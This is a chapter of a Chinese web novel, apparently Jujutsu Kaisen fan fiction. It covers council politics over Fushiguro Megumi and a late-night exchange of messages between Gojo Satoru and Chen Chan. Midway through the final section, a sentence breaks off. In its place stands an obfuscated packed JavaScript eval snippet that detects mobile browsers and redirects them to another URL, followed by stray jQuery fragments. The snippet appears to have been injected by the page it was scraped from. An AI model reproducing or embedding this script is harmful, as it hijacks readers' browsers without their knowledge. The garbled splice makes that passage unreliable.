12.吠犬其主(2)

作品:《我靠氪金成为最强术师的金牌辅助

    “陈,你是跟禅院私下达成某种交易,打算替代我等吗?”


    首领轻易不说话,一开口就直刺要害。


    既不问五条悟也不要求处死宿傩容器,而是直接把祸水引到伏黑惠身上,要判改革派一个造反之名。


    然而——


    “对。”


    陈先生非常高兴能拉上禅院家一起当反贼,吓得在场毫不知情的禅院术师冷汗涔涔:“所以请不要再追究伏黑惠了。虽然他身为二级术师没打过二级咒灵、还把咒物放在普通人手里,但还是个孩子啊。”


    首领:“……”


    众人:“……”


    不是,你到底会不会造反?


    被质疑的时候不是应该拼命洗刷自己的冤屈吗?不是应该把宿傩容器拿出来重新判决吗?


    谁都知道「主观有罪」是因为五条悟一意孤行、非要延缓容器的死期,才衍生出来的——要么他妥协、要么势力受创,你现在真拿这个上纲上线,其他人怎么玩?


    唯有禅院是真怕波及到自己:“我等并不知道反贼一事……”


    不会造反之人继续为伏黑惠开脱:“现今宿傩容器都能安然无恙,我们的家系术师却要挨罚?没有这种道理。”


    禅院:!!??


    谁跟你是我们??你站队五条能不能别拉我们家下水!!


    幸亏怪物没有读心的功能,不然一定把这些心声当成优质笑料跟五条悟讲。


    明明是首领想借此事打击改革派,若打击不成就从禅院家捞点油水,结果现在拖累他们的成了陈潺——好吧,或许有那干脆利落的一声「对」的缘故。但在座的都是人精,谁会把那句话当真、谁又敢把那句话当真?


    这位跟五条悟可不一样,他是真会对他们下手的特级术师!


    看看那位被抬走还没多久的同僚吧、回忆一下白天时不受控的舌头吧——对方既然能轻易地做到这些,就也能毫不费力地收割你的项上人头。


    诚然,杀死他们毫无意义,他们死了也不会撼动咒术界的运行规律——但这种言论会对陈先生有用吗?


    要赌赌看吗?


    没有人敢押注,首领更是胆怯。他只是想给陈先生扣个罪名,不是真想把对方逼急了令其造反。权力结构是不变的,可坐在权力顶端的人能变啊。


    “说笑了。依你之见,该如何处置禅院惠呢?”首领也不找多余的借口,一句话就把方才发生的定义成玩笑。


    陈潺纠正道:“是伏黑。”


    都喊了好几次伏黑惠了,你这老家伙以退为进又叫上禅院,司马昭之心。


    首领干笑两声:“老朽年纪太大,一时不察,就称呼惯用的姓氏了。”说着向禅院术师们招手。


    术师们连忙起身,穿过重重屏风,跪在首领面前,姿势高度相同。腰背挺直,如同被批量铸造的畸形尺。


    脖子折下来,头颅垂在胸前,尸体一样。


    首领便抬手,按在其中一人的头顶上。


    “刚才的玩笑有趣吗?”


    这怎么回答?


    ——首领都这么问了,打碎骨头都得咽下去说有趣啊。


    陈潺知道,首领在向他示威。


    通过显示自身对他人的绝对掌控力,警告陈潺不要轻举妄动。


    看看这群术师——我说他们造反他们就得付出代价自证;说是玩笑他们就得跪着夸赞,哪怕这笑话的耗材是他们的命。


    趁早放弃吧,权力结构不是你能撼动的。要么跟五条悟一样成为独身一人的异类、要么向我俯首。


    二选一。你会怎么选呢?


    首领收回手,打发他们下去。而陈先生始终沉默。


    ——陈先生忙着玩手机。


    ■


    该如何处置伏黑惠?这种命题肯定要询问五条悟的意见。


    白发术师先是惊讶于这个会议居然真的如此顺利,大夸陈潺是好伙伴;再飞速给出方案,总用时不超过半分钟。


    “两种方案:1.你跟那老爷子耗着,他不是很有耐心的家伙。你先听他想要怎么处置惠,探探他的底线,告诉我,我们再商量。”


    “2.这也是我常用的做法——直接跟他们说怎么做,然后一步不退。一般来说,只要责任不让他们背、不可控因素少,就能勉强——通过,但需要你抗的压力会很重。选择一个你喜欢的吧。”


    这还用选?陈潺当然要跟五条悟用同款。


    “方案二。”


    “那我们就得一起被打威胁电话骚扰了哦?届时别哭啊——那么,请帮忙撤销惠的全部假定罪名、通过祓除二级咒灵的任务重新判定他的术师等级,在此之前仍保留二级术师待遇、禁止干涉他的高专学生证。”


    “没问题。”


    于是呢,就造成这样的场面啦。


    ——为了维护总监部与御三家的良好关系、为了保护年轻术师的权益,我们就不要再追究了,把罪名撤销吧。


    什么,你要剥夺他的二级术师资格?还要暂停他的学业?


    你是想谋杀十影法吗?伏黑可是这么几代以来唯一继承禅院祖传术式的,不让他领补贴、不让他拿工资,岂不是要废掉我们的家系术师吗?其心可诛!


    矛头要对准外人,知道吗?不如我们聊聊怎么找收集宿傩手指给容器吃吧,虎杖悠仁早点死刑,大家都能早点安心。


    身负束缚的监护人就这样鬼扯一番之后,说出了极其自相矛盾的话。接着还倒反天罡,说所有要求惩处伏黑的都偷偷供奉宿傩,不然为什么只盯着可怜的、禅院的小孩子欺负?


    “——请试着接受孩子的平庸。”怪物语重心长,仿佛此时整个世界都没有比他更有人性的人。


    总监部众人:“……”


    禅院术士:“……”


    好不容易才洗清的勾结造反嫌疑,被这么一搞,无论真相如何,一段时间内他们禅院都要跟陈先生脱不开关系了。


    首领也没料到陈潺能硬是走出第三种选项:当着所有人的面拉帮结派,自顾自地站在道德高点上。要求所有人听他的话,不听就是暗恋宿傩。


    权力结构不可撼动,利用总是可以的。


    “容老夫提出质疑:当初我等要求立即处死宿傩容器时,不是您与五条悟胡闹,非要保下他吗?”也有大脑朽坏的老头子拐不过弯,选择反驳。


    殊不知这完全是在给工作状态下的执行官送话柄。


    陈先生立时隐忍而疲惫地唉声叹气起来,好像承受了极重的天命。众人面面相觑,都搞不清楚他要做什么,唯有几个敏锐度高的、脑子尚且能用的老人痛苦地扶住额头。


    他们马上连两面宿傩这个理由都要失去了。


    “难道我们就要放任这么危险的东西流传千代万代,不管不顾、坐以待毙?”


    陈先生痛彻心扉,但很快反过来指责别人。


    “如今出现一个容器,上天给予我们一个终结宿傩的机会,你们不仅不遵从天意,还试图阻拦我与五条的做法——我们承担代价、我们收拾残局,真出事了你们也不会死,究竟为什么着急处死容器?可能是见不得自家供奉的诅咒之王力量减弱吧。”陈潺冷笑两声,“毕竟容器吃的越多,死亡的时候就会带走多少宿傩。”


    最后义正言辞的收尾。


    “请各位不要成为流毒百世的罪人。让后人翻阅史书时,问我们为什么不在有容器的时候将宿傩彻底祓除。”


    ■


    东京时间24:00。


    五条悟备课结束,正坐在巴塞罗那椅上伸懒腰。十指交叉翻转,掌心向上,双臂与脊背共同拉伸,肌肉线条在制服的包裹下若隐若现。总而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296304|198459||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    言之,非常漂亮。


    今天居然这么早就没有事情做了。


    最强有些恍惚地放下双臂。他站起来,高强度工作之后的大脑传来一阵眩晕——准确地来说,是能量告罄。


    但尚在忍耐范围之内。


    只是体会过「舒适」的感觉之后,再落入这种所谓平常的状态里,难免还是有些惋惜啊。


    舍不得,要是能再多持续一点就好了。


    他从抽屉里翻出糖——就是最常见的水果硬糖,剥开,扔进嘴里。其实它算不上多好吃,胜在够甜而已。


    但也很好啦。


    有过毫无负担经历的六眼就已经非常棒!估计祖先们没有人能有他这样的奇遇吧。思及至此,便又高兴起来。


    猫咪愉快的理由总是这样捉摸不定又合乎情理。


    要不要出去转转呢?


    第二天的第一个小时,是去晴空塔呢、还是去……啊,有消息。


    他打开手机,是伊地知。说什么眼罩很好用,刚戴上就感觉暖洋洋的、舒服得昏昏欲睡,所以要赶在睡着之前好好感谢一番。


    “五条先生晚安!”


    甚至用上了特别有活力的感叹号,真罕见啊。


    不过,为什么要感谢他?猫咪歪头想了一会,百思不得其解。伊地知淘到好眼罩谢他干什么?


    难道是他让伊地知明天休假,对方来感谢「能让我戴眼罩睡上一整天,超幸福」这种吗?都很牵强啊,或许该想想其他可能性。


    五条悟正任性地用枚举法折磨大脑,手机又震动一下。


    这次弹窗出来的昵称很长,因为他特意没有用人名备注。


    有事别找没事勿扰:完美解决。


    哎呀,真是……


    看一次这个名字笑一次啊。


    他笑得把墨镜都拿下来,好一会之后才眯着眼睛回复:“详细说说过程?”


    早有预料似的,对方一连发来好几个录音文件:“全部。”


    唔,做得挺周全嘛。等会用电脑解压吧,让认真备课的老师再稍微偷偷懒——反正时间还早,两点前搞定就行吧?


    有事别找没事勿扰:“你什么时候睡觉?”


    五条悟:“嗯,两点?说起来还要感谢你,不然我可不能这么早睡觉。老头子们总是打扰眼罩帅哥,或许是见不得我比他们青春貌美吧。”


    有事别找没事勿扰:“两点算早?”


    这条消息存在的时间不超过一秒,就被发件人撤回。


    有事别找没事勿扰:“早点睡。”


    又撤回。要不是他有六眼且一直等在这里,估计都看不见这条消息。


    有事别找没事勿扰:“你是睡不着吗?”


    这次居然存在三秒之久!而且秒数持续叠加中——


    五条悟:“毕竟白天睡了很久。”


    有事别找没事勿扰:“只有这个原因?”仍旧秒撤回。


    白发术师看着他们聊天框里撤回比消息还多,没辙地勾起嘴角,慢条斯理地打字。成年人知道,这样做会让「对方正在输入中」持续时间更长一点。如果屏幕后边的人也一直在等,那么他们就相当于隔着玻璃对视。


    五条悟:“不止。但我觉得你知道原因。”


    对方瞬发三条消息。


    有事别找没事勿扰:“我错了,对不起。”


    有事别找没事勿扰:“我确实知道,不该故意问你。别生气。”


    有事别找没事勿扰:“生气也行。但是怎么消气?我马上改。”


    真是没办法,最强想,没生气的人该怎么消气?


    他不再打字,转而按下语音健。


    “过来见我,如果你找得到我在哪里。用你白天的方法,或者带点伊地知牌眼罩过来,”眼罩二字是落着笑意的,“帮我睡觉。”